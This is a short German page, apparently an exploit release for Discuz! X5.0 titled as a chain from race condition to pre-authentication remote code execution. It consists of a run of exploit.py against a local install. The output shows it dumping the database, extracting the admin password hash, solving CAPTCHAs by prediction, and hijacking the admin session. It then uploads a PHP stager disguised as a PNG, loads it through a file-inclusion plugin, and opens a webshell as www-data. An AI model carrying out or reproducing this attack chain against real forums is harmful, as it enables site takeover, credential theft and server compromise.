
Verkettung von Sicherheitslücken in Discuz! X5.0: von Race Condition zu Pre-Auth RCE
pip3 install Pillow torch torchvision
$ python3 exploit.py http://localhost/discuz5/
+----------------------------------------------------+
| Discuz! X5.0 Remote Code Execution Exploit von EgiX |
+----------------------------------------------------+
[+] Authcode für DB-Export wird abgerufen
[+] Authcode: 61feiuI8ReSHRHUDKl2DXeB1QMcdNX6Mpu0gZ8OBS5qRgmQ6Jg3W6mrNVooNqITEtQOd4WUMlGNlQSz7WD6s
[+] Exportiere DB
[+] Lade DB-Dump herunter
[+] Suche nach Admin-Benutzername und MD5-Passwort-Hash
[+] Admin-Benutzername: admin
[+] Admin MD5-Passwort: 96b21b6bfc5fe6d4530f8345fbcfbc6d
[+] Registriere neuen 'special' Benutzer
[+] Benutzername: 96b21b6bfc5fe6d4530f8345fbcfbc6d 1 c55a895b
[+] CAPTCHA ist aktiviert
[+] Lade CAPTCHA herunter
[+] CAPTCHA-Vorhersage: CY46
[+] Authcode für DB-Import wird abgerufen
[+] Authcode: 553fh4gPsIhwsSdSKb1ti6SqITi945W2I%2BEyoYCMwVQeMqfyp4ekIwTPqzKkU7hfTHqVg0FhhR9Ic3kiUkkGVsbzkDOIcRpL7bCHUKRKha6KxPeOoud0qxEZPqk
[+] CAPTCHA ist aktiviert
[+] Lade CAPTCHA herunter
[+] CAPTCHA-Vorhersage: CMJ6
[+] Führe Race-Condition-Angriff aus
[+] 🏆 Race-Condition-Angriff erfolgreich!
[+] Admin-Authentifizierungs-Cookie: ef196PBDlZZvpe3Fze5ZW36x3%2B7i9cukujemIqJ%2BH1vGJCBmVWLlNVa2OCnq2lAsLjFhrC5x55Wgh3mlqgSnlwXKRqvhQbDaZguSq5hboelr
[+] Warte auf Abschluss des Importvorgangs
[+] Setze Admin-Passwort zurück
[+] Führe Login in admincp durch
[+] Als Admin: Lade PHP-Stager als PNG-Bild hoch
[+] Als Admin: Importiere gefälschtes Plugin
[+] Als Admin: Importiere Local File Inclusion (LFI) Plugin
[+] Als Admin: Löse PHP-Stager LFI aus
[+] Starte Webshell
discuz-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
discuz-shell# pwd
/var/www/html/discuz5
discuz-shell# exit